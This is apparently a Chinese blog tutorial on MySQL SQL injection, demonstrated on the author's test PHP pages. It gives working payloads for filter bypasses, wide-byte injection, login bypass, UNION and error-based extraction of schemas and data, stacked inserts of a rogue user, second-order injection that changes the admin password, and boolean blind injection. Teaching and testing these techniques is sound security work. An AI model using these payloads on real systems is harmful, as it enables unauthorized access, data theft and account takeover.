SQL注入常用姿势
前言
推荐
如果你不太懂得SQL注入是什么,为了更好地理解此文章,推荐拥有以下知识
- 了解SQL语句是什么(本文主要讲MYSQL)
- SQL数据库操作的常用、基本语句(可以参观本博客友链kyrita写的SQL基本操作,本文最后面也有MYSQL简单操作语句可供参考)
- PHP的一些基本语法(因为本文以php程序演示)
本文内容
本文将会介绍、操作演示以下内容(排序尽量由简单到难,√是已完成更新的意思)
- 宽字节注入(在 ”一些绕过过滤的姿势“ 里)(√)
- 万能密码 (√)
- 联合查询注入 + 无列名注入(√)
- 堆叠注入(√)
- 二次注入(√)
- 报错注入(待更,部分完成)
- 头部注入
- 双查询注入(双注入)
- 移位溢注
- 盲注(布尔盲注-基于条件、延时盲注-根据时间响应)(√)
- MYSQL弱比较
- SQLmap的基本使用(有缘再写)
熟练进行SQL注入常常需要将各种方法串在一起,并不是说掌握其中一种就行
注入前准备
寻找输入口
- 登陆界面、留言板、搜索框等
判断是否存在注入点
- 传入的SQL查询语句的参数是否可控
例如一个登录框,当它的后端语句直接拼接用户输入的数据(即完全信任用户输入),
用户就可能可以构造SQL语句直接绕过登录,甚至窃取数据库的数据
获取注入点的信息
例如:
是否存在回显【1】
可控参数的类型【2】
是否过滤调了某些语句【3】
其它
【1】如果存在回显,则可以根据回显调整注入姿势,否则不显示报错信息,需要通过盲注的方法来进行注入
【2】关系到注入语句的构造,类型为数字型还是字符型,是否需要闭合引号
【3】如果存在某些字符的过滤,则需要想办法进行绕过,如大小写、利用某些SQL数据库支持的函数
【4】如果数据库用户的的权限被限制(如只有查询某个数据库、某个表的权限),则SQL注入可能不太能起作用
1 | 注释符号 |
通过这些信息来确定应该使用哪一种方法
一些绕过过滤的姿势
Type 1
1 | $id = $_GET['id']; |
过滤掉了以下内容
1 | table、union、and、or、load_file |
如果我们想使用其中的一个,如select,就会输出“包含敏感关键字!”
像这种纯粹匹配单词的,可以采用大写来绕过
1 | SELECT |
Type 1-Plus
1 | $id = $_GET['id']; |
可以利用其中的strip_tags函数
strip_tags函数会将字符串中的标签去除,如
1 | <b>123</b> |
经过strip_tags函数处理后会变成
1 | 123 |
如果我们的select变成sel<>ect,那么最后的查询语句就是
1 | SELECT * FROM temp WHERE id=select LIMIT 1 |
因为<>被strip_tags函数去掉了
Type 2(注释符在注入时的作用)
一个PHP连接MYSQL数据库的查询程序如下
1 | $servername = "localhost"; |
由上面代码我们可以知道程序在“test”数据库中查询
我们需要关注下面三句程序
1、sqli变量存储get获取的sqli参数
2、sql变量存储sqli变量加上空格再加上字符串xxx
3、根据sql变量所存储的语句进行查询,查询结果存储在result变量
1 | $sqli = $_GET['sqli']; |
可知xxx是无用的,这样子查询一定会报错
因为现在只是讲解绕过一些东西,所以我直接把表名说出来,叫做test_table,是我创建的一个测试表
如下图所示,显示0结果
1 | ?sqli=select * from test_table |
如果在后面加上–+,结果出来了
1 | ?sqli=select * from test_table--+ |
因为xxx前有空格,所以像下面这样写也是可行的
1 | ?sqli=select * from test_table-- |
当然这样写也可以,/**/的作用前面已有解释
1 | ?sqli=select * from test_table--/**/ |
如下图测试可用
不知道为什么get提交就不起作用
#号也是不起作用
可能需要encodeurl来提交,将#编码为%23
1 | ?sqli=select * from test_table%23 |
结果确实如此
这就是注释符号在SQL注入中的用法的简单说明
宽字节注入(当单引号被替换为斜杠加单引号)
能进行宽字节注入前提是数据库设置“set character_set_client = gbk”,即使用gbk编码,
且网站为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义
当然这种情况可以考虑在引号前加个斜杠,将斜杠转义掉
宽字节注入主要用于应对这种情况,如下面
当用户提交
1 | ?id=1' and 1=1 --+ |
1后面的单引号会被加上斜杠
服务端上的查询语句如下,不能正常查询
1 | “select id,title from news where id ='1\' and 1=1 -- '" |
如果能把斜杠”吃掉“,或者使斜杠失效,就能正常注入了
1 | “select id,title from news where id ='1' and 1=1 -- '" |
要了解宽字节注入的原理,首先要说明:
1、宽字节与窄字节:
- 某字符的大小为一个字节–》窄字节,如英文字母
- 字符的大小为两个字节–》宽字节,如汉字
2、常见宽字节编码:GB2312,GBK
所以,宽字节注入就是利用字符的大小为两个字节的特性,将斜杠(斜杠是窄字节)和一个其它窄字节编码成一个宽字节字符,这样斜杠就不会把单引号转义了
PS: 在GBK编码中,使用两个字符形成一个汉字要求前一个字符的anscii大于128
如,利用%a7(%a7是随便找的)
1 | https://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 %a7' and 1=1 --+ |
可以看到斜杠没了
当单引号被替换成双斜杠加单引号
类似下面这段后端程序,将’替换成了\ \ ‘
1 | function filter($str) { |
可以使用斜杠加单引号进行绕过(\ ‘)
当SQL语句如下
1 | select * from user_database where user='用户传入的值' |
当**’用户传入的值’**如下
1 | admin\' or 1=1# |
则最终的查询语句会变成如下
1 | select * from user_database where user='admin\\\' or 1=1#' |
这样可能看不太清楚,但是只要稍微给它处理一下
如下
1 | select * from user_database where user='admin\\ \' or 1=1#' |
了解过linux命令多行输入的人应该知道这是什么意思
如ubuntu使用apt安装多个软件,可以分行输入
1 | sudo apt install 软件1 软件2 软件3 \ |
所以sql语句会变成这样,单引号成功闭合
1 | select * from user_database where user='admin\\ \ |
例图如下
逗号不允许出现
当我们需要使用逗号,例如联合查询时
1 | union select 1,2,3 |
我们可以使用join语句代替逗号
1 | union select * from (select 1)a join (select 2)b join (select 3)c |
其它
group_concat()、concat_ws()以及limit 的第一次说明在本文的“类型1(联合查询)-Plus”部分
对于不许访问information_schema的,可以参照本文的“类型1(联合查询)-Plus”的“如果information_schema被过滤”部分的说明
对于无法获取列名的,可以参照本文的 “类型2(联合查询 + 无列名)”部分的说明
利用十六进制代替字符,可以参照本文的“类型1(联合查询)-Plus”的“如果不允许输入名称”部分的说明
😘
注入姿势
万能密码
类型1(简单演示版)
如果后端用于查询验证用户登录的SQL语句类似下面(为了简化,下面程序为PHP伪代码(SQL数据库可不是只有PHP能用哦))
1 | $username = $POST_["user"]; |
或(上面下面两段代码功能一致)
1 | $username = $POST_["user"]; |
当用户输入的内容为以下
1 | user=1&password=aaa'or 1=1 or '1' = '1 |
即用户名填1,密码填aaa’or 1=1 or ‘1(密码填aaa’or 1=1 or ‘1’ = ‘1不是唯一的写法,请发挥你的脑洞)
POST方法提交之后,服务端的语句如下
1 | SELECT * FROM Table_submit WHERE User= '1' AND Password= 'aaa'or 1=1 or '1' = '1' |
可以这样看
1 | User= '1' AND Password= 'aaa' |
由于用户名和密码都是随便输的,不正确,那么User= ‘1’ 结果为false,Password= ‘aaa’结果也为false, and之后就是false
or 1=1 为true
or ‘1’ = ‘1’也为true
也就是false or true or true,根据或的逻辑运算0+1+1=1,也就是true
程序只根据返回值为true和false来判断是否成功登录和登陆失败,但此时返回值为true,所以就绕过了登录
类型2(简单MD5版)
这个MD5版的意思是什么呢?请看以下文字
实际上现在大多都是对密码进行加盐后再计算hash,或者加盐计算BCrypt,所以此时需要将注入内容放在user变量
计算hash是为了防止密码明文存储,加盐是为了减少被拖库后密码破解的风险
(当然现有的大多数框架对用户传入的数据都进行处理,防止注入,这里只是拿来作为一种类型进行示范,只是起到研究作用)
如果后端用于查询验证用户登录的SQL语句类似下面
1 | $username = $POST_["user"]; |
或者
1 | $username = $POST_["user"]; |
当用户输入的内容为以下
1 | user=1' or 1=1 or '1'='1&password=aaa |
POST方法提交之后,服务端的语句如下(aaa求md5之后为47bce5c74f589f4867dbd57e9ca9f808)
1 | SELECT * FROM Table_submit WHERE User= '1' or 1=1 or '1' = '1' AND Password= '47bce5c74f589f4867dbd57e9ca9f808' |
可以分隔成这样看
1 | User= '1' |
由于用户名和密码都是随便输的,不正确,那么User= ‘1’ 结果为false,Password= ‘47bce5c74f589f4867dbd57e9ca9f808’结果也为false,但是1=1为true,’1’ = ‘1’也为true
即false or true or true and false
即false or true or false,根据或逻辑,0+1+0=1,返回值为true
那么延伸一下,是不是说md5(或者其他)加密后就可以高枕无忧了呢?非也
例如密码使用md5加密
有这样一个神奇的字符串(与ffifdyop类似的还有129581926211651571912466741651878684928)
1 | ffifdyop |
md5加密后
1 | 276f722736c95d99e921722cf9ed621c |
如果再编码一下呢?
会变成
1 | 'or'6<乱码> |
意味着结果不为假,足以绕过登录
最后附上一些万能密码,可以研究一下(思考为什么要这样构造)
1 | 'or'='or' |
相信这时候你已经对SQL注入有了一些认识,以及懂得了闭合引号的必要性
联合查询注入 + 无列名注入
页面必须显示位才能使用联合查询注入(在 ”类型1(联合查询)-Plus“ 有解释)
所谓联合查询,即是使用union语句,*在查询某个参数时同时查询另外一个参数***
union常用于合并两个或多个 select 语句的结果
例如
1、
单独的select co from test_table1结果如下
单独的select * from test_table结果如下
而使用union语句
1 | select co from test_table1 union select * from test_table; |
如果允许重复的值,请使用 UNION ALL
2、
类型1(联合查询)
预先准备了个表(以下面语句为准)
1 | create table a_table (id INT NOT NULL, val VARCHAR(100) DEFAULT NULL, val1 VARCHAR(100) DEFAULT NULL, val2 VARCHAR(100) DEFAULT NULL); |
插入如下内容
现在内容如下
现在可以通过id来查询值
1 | select * from a_table where id=0; |
PS:有的id是字符型的,比如id为1,查询的时候就为’$id’,注入时要注意闭合引号(而我这里是int型,注入不需要闭合引号)
像下面这样,加了引号
判断列数
order by语句语句一般用于排序
可以使用order by语句判断列数,如下图
1 | select * from a_table where id=1 order by 1 |
可以了解有四列
为啥要判断列数?
涉及到“显示位”
假设服务器上的查询语句如下(只是举例!)
1 | select id, val, val1, val2 from a_table where id=0; |
可以看到结果如下
如果我们知道列数,就可以联合查询了
1 | select id, val, val1, val2 from a_table where id=0 union select 1,2,3,4; |
但是我们看不到源码的话是不知道查询语句长什么样的,列数不对是会报错的
这就是需要判断列数的原因
1 | select id, val, val1, val2 from a_table where id=0 union select 1; |
注入
假设服务端源码如下(假设!!!)
为了方便讲解,我把完整sql语句显示出来了(程序中的echo “SQL input: $sql“;)
1 |
|
PS:
1 | // 单靠网页显示的参数无法判断有几列,所以需要order by判断 |
因为上面已经说过列数判断了,这里不再赘述
union查询测试如下
1 | ?sqli=0 union select 1,2,3,4 |
既然union查询成功了,为什么不尝试把1,2,3,4换一下?
比如说查个数据库的版本
1 | ?sqli=0 union select 1,2,3,version() |
希望看到这里你应该已经对联合查询注入有了一些了解,关于获取数据库名、表名及其它等,接下来会讲
类型1(联合查询)-Plus
上面说了联合查询的基本操作,那么类型1(联合查询)Plus版本将补充解释一些细节部分
假设程序如下(删去了**var_dump($row[“val1”]);**)
1 |
|
删去一条代码的目的是为了解释union后面的1,2,3,4需要看哪个可以被显示
如下,依然是上面类型1的参数
1 | ?sqli=0 union select 1,2,3,4 |
这样就得知只有2、4可以操作
只需要把需要获取的东西放在2或4就行
1 | ?sqli=0 union select 1,version(),3,4 |
1 | ?sqli=0 union select 1,2,3,version() |
如下不行
1 | ?sqli=0 union select version(),2,3,4 |
获取所有数据库
- 在information_schema.tables中获取table_schema
1 | ?sqli=0 union select 1,2,3,table_schema from information_schema.tables |
- (重要)如果输出长度被限制,不能全部显示,那么我们可以先获取所有数据库的数量
1 | ?sqli=0 union select 1,2,3,count(distinct table_schema) from information_schema.tables |
如下图所示,总共5个数据库
然后使用“limit”语句
因为不想图片太多,下面只尝试2、4、5,可以说明所有数据库名都能被获取
1 | ?sqli=0 union select 1,2,3,table_schema from information_schema.tables limit 2,1 |
1 | ?sqli=0 union select 1,2,3,table_schema from information_schema.tables limit 4,1 |
1 | ?sqli=0 union select 1,2,3,table_schema from information_schema.tables limit 5,1 |
获取数据库中所有的表
首先在上面显示的所有数据库中选一个你感兴趣的数据库,例如我选了test
然后只需要稍微改变一下语句,
意思是从information_schema.tables where table_schema=”test”中找table_name
1 | ?sqli=0 union select 1,2,3,table_name from information_schema.tables where table_schema="test" |
(重要)因为可能有限制,不允许多个结果显示,可能实际查询的结果会像下面这样
后面的都不显示了
此时用个数据库自带函数group_concat()即可,如下
1 | ?sqli=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema="test" |
group_concat() 的作用是将多行合并成一行
如果不允许输入名称
像上面那句,如果不允许查询数据库”test“(可能过滤了引号)
1 | ?sqli=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema="test" |
可以把”test“变成16进制,即0x74657374,在线转换
1 | ?sqli=0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=0x74657374 |
可行
如果information_schema被过滤
可以使用mysql.innodb_table_stats直接获取所有表
如下
1 | ?sqli=0 union select 1,2,3,(select group_concat(table_name) from mysql.innodb_table_stats) |
还有
1 | schema_table_statistics_with_buffer |
如果ID字段可以自增,那么还可以查下面这个
1 | sys.schema_auto_increment_columns |
获取某个表的信息
可以直接获取所有表的所有字段(如果想要使用group_concat(),用法如上,这里不再赘述)
1 | ?sqli=0 union select 1,2,3,column_name from information_schema.columns where table_schema="test" |
可以看到字段有id,val,val1,val2,co,co,do,zzz
然后再找个感兴趣的表,这里就选a_table吧
只需稍稍加一点东西: and table_name=”a_table”
即可获取该表的所有字段
1 | ?sqli=0 union select 1,2,3,column_name from information_schema.columns where table_schema="test" and table_name="a_table" |
获取了字段之后就可以获取数据了
如下,获取id字段的所有数据
1 | ?sqli=0 union select 1,2,3,id from test.a_table |
当然如果要查的表和当前表在同一数据库,可以不加库名直接查询
1 | ?sqli=0 union select 1,2,3,id from a_table |
为了好看一点,可以使用group_concat()
1 | ?sqli=0 union select 1,2,3,group_concat(id) from test.a_table |
id字段改成其它字段,如val,val1等,这样下去就能注出所有数据
1 | ?sqli=0 union select 1,2,3,group_concat(val) from test.a_table |
如果想一次性全部弄出来,可以使用concat_ws(),
数据库中的字符串拼接函数,concat_ws()是带分隔的,还有concat()是只连接接不带分隔的
concat_ws()的第一个参数为分隔符,这里就设置为“-”吧
如下,同时注出了id字段和val字段的数据
1 | ?sqli=0 union select 1,2,3,concat_ws("-", group_concat(id), group_concat(val)) from test.a_table |
类型2(联合查询 + 无列名)
所谓的无列名就是在无法得知字段名称的情况下获取表内的数据
Mysql子查询
假设服务端程序如下(还是联合查询那个程序)
1 |
|
假设我们已经知道了表名(表名的获取方法在上面已经说过),且已知字段数(上面已讲过使用order by判断)
可以利用Mysql子查询的方法,需要注意,子查询需要加一个别名
子查询的意思就是将某个语句的结果起别名,以此结果作为数据(简单来说就是可以根据另一个表的查询结果来执行当前查询)
下面的语句进行了两次联合查询
1 | ?sqli=0 union select 1,2,3,group_concat(x.3) from (select * from (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d union select * from a_table) as x |
这么长一串可能不好理解,请容许我拆分一下
首先是下面这一句
1 | (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d |
(重要)由前面实验已经知道,select 1,2,3,4是什么意思
即当场建个表,值为1,2,3,4
这样子写是使用子查询,子查询必须加上别名(即abcd,当然abcd可以改成其它)
这里abcd没有用上,纯粹是语法要求(后面有描述为什么要写成子查询的形式)
1 | (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d |
union select * from a_table先将所有字段及内容从a_table这个表选出来
下面这句的意思就是在select 1,2,3,4中插入union select * from a_table的结果(1,2,3,4视a_table字段数量定,这里是4个字段)
由于前面用select * from,所以后面只能写成子查询的形式,否则报错
1 | select * from (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d union select * from a_table |
(这也是为什么最后显示多出来了1或2或3或4,左边箭头所指)
大概是下面这个意思
1 | select * from (select 1) as a, (select 2) as b; |
然后下面这句,就是把整句的执行结果起别名x(x当然可以换作其它字符)
1 | (select * from (select 1) as a,(select 2) as b,(select 3) as c,(select 4) as d union select * from a_table) as x |
在x中查x.1,即x的第一列,也就是1 加上 a_table的第一列(a_table第一列字段为id,值为0,1,2,3)
1 | union select 1,2,3,group_concat(x.1) from x |
没错,还是那张图(这张图用了三次。。。)
为了更好说明,我把1改成了11再做了一次试验,这样应该更好理解一些
最后提一下,不用as也可以,但是别名必须存在
1 | ?sqli=0 union select 1,2,3,group_concat(x.3) from (select * from (select 1) a,(select 2) b,(select 3) c,(select 4) d union select * from a_table) x |
Join语句报错
准确来说是利用MySQL的INNER JOIN语句
需要对程序做一些改动(为了显示错误)
因为用mysqli模块只显示错误号,不显示具体mysql错误,可能和我的PHP版本有关
所以这里使用了PDO模块来连接数据库
1 |
|
假设我们已经知道了表名为a_table
构造如下语句
1 | union select * from (select * from a_table as a join a_table as b) as c |
MySQL的**INNER JOIN(也可以省略 INNER 使用 JOIN,效果一样)**来连接以上两张表
来读取一个表中的字段与另一个表的字段相联结,最后输出所有值
如下
先看看表中有什么
join
1 | select * from test_table join test_table1; |
本次注入关键语句为下面这句
1 | //由于这里别名a、b对应的都是同一个表, |
输入试试
1 | ?sqli=0 union select * from (select * from a_table as a join a_table as b) as c |
可以看到第一个字段出现了
加上using (id)即可获取下一个字段
1 | ?sqli=0 union select * from (select * from a_table as a join a_table as b using (id)) as c |
依次可获取所有字段-》id、val、val1、val2
这就是联合注入+无列名注入的小知识了
堆叠注入
何为堆叠注入?简单来说就是使用;来分隔两个语句,相比union查询,限制可能更少
举例
且看如下例子
1 | select 1,2,3,4;select 3,4,5; |
明显看到select 1,2,3,4和select 3,4,5同时完成了执行
再如
1 | select id from a_table where id=0;select * from a_table; |
能做什么
假设服务端程序上的查询语句如下
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
如果没有过滤,非常容易即可进行注入
1 | ?id=1’) --+ |
此时的SQL查询语句如下
1 | $sql="SELECT * FROM users WHERE id=('1’) --+') LIMIT 0,1"; |
即
1 | $sql="SELECT * FROM users WHERE id=('1’)"; |
如果已经知道表名为users,知道字段如下
1 | id | username | password |
如果此时要求你非法添加一位新用户
使用堆叠注入的方法非常不错 (在字段插入内容可以参考本文“写在最后”部分的“在字段插入值”)
插入的id为100,username为new_user,password为passwd
1 | ?id=1’); insert into users (id,username,password) values (‘100’,’new_user’,’passwd’)–-+ |
在服务端的语句如下
1 | $sql="SELECT * FROM users WHERE id=('1’); insert into users (id,username,password) values (‘100’,’new_user’,’passwd’)"; |
即
1 | SELECT * FROM users WHERE id=('1’); |
这样就插入了一位用户
堆叠注入还能干很多事,如删数据、改数据(改密码)等等
二次注入
所谓二次注入,可以理解为第一次先插入恶意语句(构造特殊语句),
使得本来不具有特殊权限(如修改其它用户密码)的用户在第二次(或以上)的时候利用先前插入恶意语句完成需要特殊权限的操作,或者在找不到注入点(输入被转义)的地方进行注入
例如,普通用户通过构造一个特殊的用户名,修改了admin用户(或者其它用户)的密码
要成功利用二次注入,要求服务器对用户提交的数据没有采取过多的过滤措施
建个表
要模拟这种攻击,首先在数据库先建一个表,这里建了个表名为user_table的表
下面这个表的id字段设置为了可从0自增,表中的其它字段为username和password
1 | create table user_table (id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(100) NOT NULL, password VARCHAR(100)) AUTO_INCREMENT = 0; |
然后加个账户,名字就叫admin吧,密码随便填
1 | insert into user_table values (null, "admin", "123456"); |
用户注册
然后再构建网页,这里使用PHP+Html,有些简陋😄
如果想上手试试可以将下面程序保存为new_user.php,
程序的作用是添加用户
1 | <?php |
做了简单处理,如果用户名和数据库中记录的用户名同名则不允许创建
随便创建个用户试试
点击提交后
看看数据库,发现用户aaa已被创建(id变成4是因为我删掉了两行数据)
用户设置
下一步,做个用户设置界面,同样是简陋的PHP+Html
假设用户登录了后台,系统已经确定是哪个用户(这里采用id来确定)
想上手的话就保存下面程序为set_user.php
1 | <?php |
用户允许更改密码
密码修改成功
尝试修改其它用户的密码
但是如果我一开始创建用户的时候把用户名设置成admin’– (注意,是admin’– ,–后面有个空格)呢?
用户创建成功,密码是刚才输的1212121
此时去修改此用户密码
(记得指定用户id为6,即php程序中$user_id = 6; ——–》这样是为了模拟用户已经登录的情况)
修改密码为1223
提交成功啦
看看啥情况—-》admin的密码被改成1223啦!
二次注入不仅仅局限于改密码,还能通过如留言板什么的爆出数据库数据
二次注入例子2
待更新
报错注入
报错注入常常用在union语句不能使用,但是页面存在错误回显的情况,
原理是利用错误信息带出需要的信息
xpath语法错误
相关函数
xpath语法与下面两个函数有关
用于xml文档进行查询和修改
1 | extractvalue() #从xml文档中的字符串中提取值 |
关于extractvalue和updatexml函数的详情可以参照此篇,源码级分析,非常详细
这里会讲解关于这两个函数简单的利用方法
利用
- updatexml()
1 | updatexml(XML_document, XPath_string, new_value); |
这个函数可以利用它的第二个参数
当输入的字符串不为Xpath格式,就能报错
如果对XPath语法有兴趣可以参照此处
用来测试的表为下面这个
查询数据库名的语句如下
1 | select database(); |
输入
1 | select * from user_table where id=1 and updatexml('',concat('~',(select database())),''); |
可以看到库名出来了
测试程序如下
1 |
|
正常查询
1 | ?sqli=1 and updatexml('',concat('~',(select database()),'~'),'') |
报错注入
1 | ?sqli=1 and updatexml('',concat('~',(select database())),'') |
下面这句语句应该不需要解释了
1 | select * from user_table where id=1; |
下面这句在第1、3个参数给了一个空字符串,而参数2给了concat(‘~’, (select database())
select database()加了括号,返回的是运算结果
concat()函数在MYSQL中用于拼接字符串,这里负责把’~’和select database()的结果连接起来,
因为select database()加了括号,所以在这里结果为~test
PS:前面讲过concat_ws()函数,而concat_ws()需要设置分隔符,会在每个字符串之间分隔
1 | updatexml('',concat('~',(select database())),''); |
如下图
这里使用~是为了达到不符合XPath语法的目的,
如果不加~或换成-,则不起作用
1、
2、
3、
如果不想用~,需要换成%、)等符号才行
需要注意,此种方法(使用concat函数)只能爆一列数据,多列则无法爆出来
1 | select * from user_table where id=1 and updatexml('', concat("~",(select 1,2,3)),''); |
如果想一次爆出多个数据,可以构造
1 | select * from user_table where id=1 and updatexml('', concat("~",(select 1), (select 2), (select 3)),''); |
用concat_ws可能更好一点,只要开头为~等字符就行
这里设置了“-”为分隔符
1 | select * from user_table where id=1 and updatexml('', concat_ws("-", "~",(select 1), (select 2), (select 3)),''); |
注出数据
既然已经知道数据库名为test,那么可以配合之前用过的语句
1 | select group_concat(table_name) from information_schema.tables where table_schema="test"; |
提交的参数如下
1 | ?sqli=1 and updatexml('',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="test")),'') |
得到所有表的名称
再注,随便选个表,比如a_table,下面注它的字段名
还是之前用过的语句
1 | select column_name from information_schema.columns where table_schema="test" and table_name="a_table"; |
提交(别忘了在column_name前加上group_concat)
1 | ?sqli=1 and updatexml('',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema="test" and table_name="a_table")),'') |
注数据
1 | ?sqli=1 and updatexml('',concat('~',(select group_concat(val) from test.a_table)),''); |
其它的字段和这个操作一样,就不多说了
- extractvalue()
和上面的updatexml函数类似,只不过extractvalue会返回所查询值的字符串
1 | extractvalue(XML_document, XPath_string); |
依然对它第二个参数下手,构造不合法XPath字符
1 | ?sqli=1 and (select extractvalue('',concat('~',(select database())))) |
使group_by主键重复
group by
待更。。。。。。。。
盲注
盲注意思是当我们发送SQL注入语句查询(比如说想查询数据库名)时,服务器(网页)不会直接给我们查询结果
布尔盲注
布尔盲注,其实是利用TRUE或FALSE条件导致的页面变化来判断数据是否正确
例如我们的登录界面,当我们账号密码都正确,它会返回登录成功,反正显示登录失败
如下图sql语句演示
对应数据库中的数据,没有id为1,val为aaa的数据
测试程序如下
1 |
|
那么这样如何注出我们想要的数据呢?
原理
我们先了解以下语句
1 | select 1=2, 1=1 |
可以发现有两种结果,对应false和true
再往前一步
1 | select (select 2)=1, (select 1)=1 |
再往前一步,意思是使用substr()
将123
的1切割出来,然后与1和2作比较
1 | select (select substr('123',1,1))='2', (select substr('123',1,1))='1' |
如果能理解以上知识,那么你已经学会了布尔盲注
其实就是将查询结果一位一位试出来,如下
操作
看懂了以上操作,即可开始注入了
首先我们确定注入语句为-1 or 1=1-- -
,这是true的条件
1 | ?sqli=-1 or 1=1-- -&val= |
开始注入我们想注的内容,例如注出当前数据库user
此过程可交由程序自动完成,我这里只花了五分钟就写了一个,非常简单
1 | import requests, time |
当然上面的程序还是太简陋了,我这里再给出我自己写的常用的程序(需要自己根据需求改哦)
带有从指定位数开始注、连接丢失重连功能
1 | #!/usr/bin/env python3 |
提高注入速度
想提高注入速度,可以使用二分法
待更新
增强型布尔盲注
适用于插入型语句,比如说存在SQL注入的用户注册页面、评论界面等
如果此时我们将查询语句注入到参数中,我们无法得知TRUE或FALSE,
因为无论我们的条件是TRUE或FALSE界面可能显示都是注册成功等
但是我们可以让他在语句查询TRUE的时候报错或FALSE的时候报错(通过查看HTTP响应状态码,报错的话应该是有500的),
这种方式相当于布尔盲注与报错注入的结合(但有些网页程序忽略错误,不告诉你错没错,始终一个样)
待更新
时间盲注
时间盲注在上面的布尔盲注基础上延伸出来的
不是所有页面都会告诉你查询结果对错,有的界面可能根本没有回显,响应状态码也不变,
这时只能通过时间盲注来注出我们想要的内容(其实相当于一种侧信道攻击)
待更新
写在最后
MYSQL简单操作(增、删、改、查)
连接本地数据库
以数据库账户root账户
1 | mysql -u root -p |
列出所有数据库
1 | show databases; |
创建数据库
创建名为test的数据库
1 | create database test; |
进入指定数据库
选择test数据库
1 | use test; |
创建表并设置字段
test_table为表名,co为字段名(可以多个字段,如create table test_table(co VARCHAR(100) NOT NULL, do VARCHAR(100))定义co和do两个字段)
VARCHAR(100)为类型,100即100个字符
not null即不为空的意思
1 | create table test_table (co VARCHAR(100) NOT NULL); |
MYSQL数据类型如下(来自菜鸟教程)
单独添加字段
在test_table表中添加zzz字段,类型为字符,空间为100个字符
DEFAULT NULL即默认为空
1 | alter table test_table1 add zzz VARCHAR(100) DEFAULT NULL; |
显示所进入的数据库中所有的表
1 | show tables; |
在字段中插入值
在”test_table”表中的字段“co”中插入字符“id”
1 | insert into test_table (co) values ("id"); |
显示指定字段的所有内容
显示”co“字段的内容
1 | select co from test_table; |
之前插入了下列值
显示
显示指定表的所有内容
1 | select * from test_table; |
显示表的内容(显示字段名)
显示test_table1表的内容,不显示值,仅显示字段信息
可用于查看字段名
1 | desc test_table1; |
根据查询结果修改指定的值
如果字段do中为’A‘的,就将co字段中对应位置的值修改为JAVA-website
1 | update test_table1 set do='JAVA-website' where co='A'; |
原表如下
设置后
根据查询结果删除指定的值
从test_table1表中如果能找co字段中存在值为’A’的值,就把它删除(不用where就会删除表的所有数据)
1 | delete from test_table1 where co='B'; |
删除前
删除后
删除字段
删除test_table1表中的zzz字段
1 | alter table test_table1 drop zzz |
删除表
1 | drop table 表名; |
真的是最后
谢谢阅读
正在更新中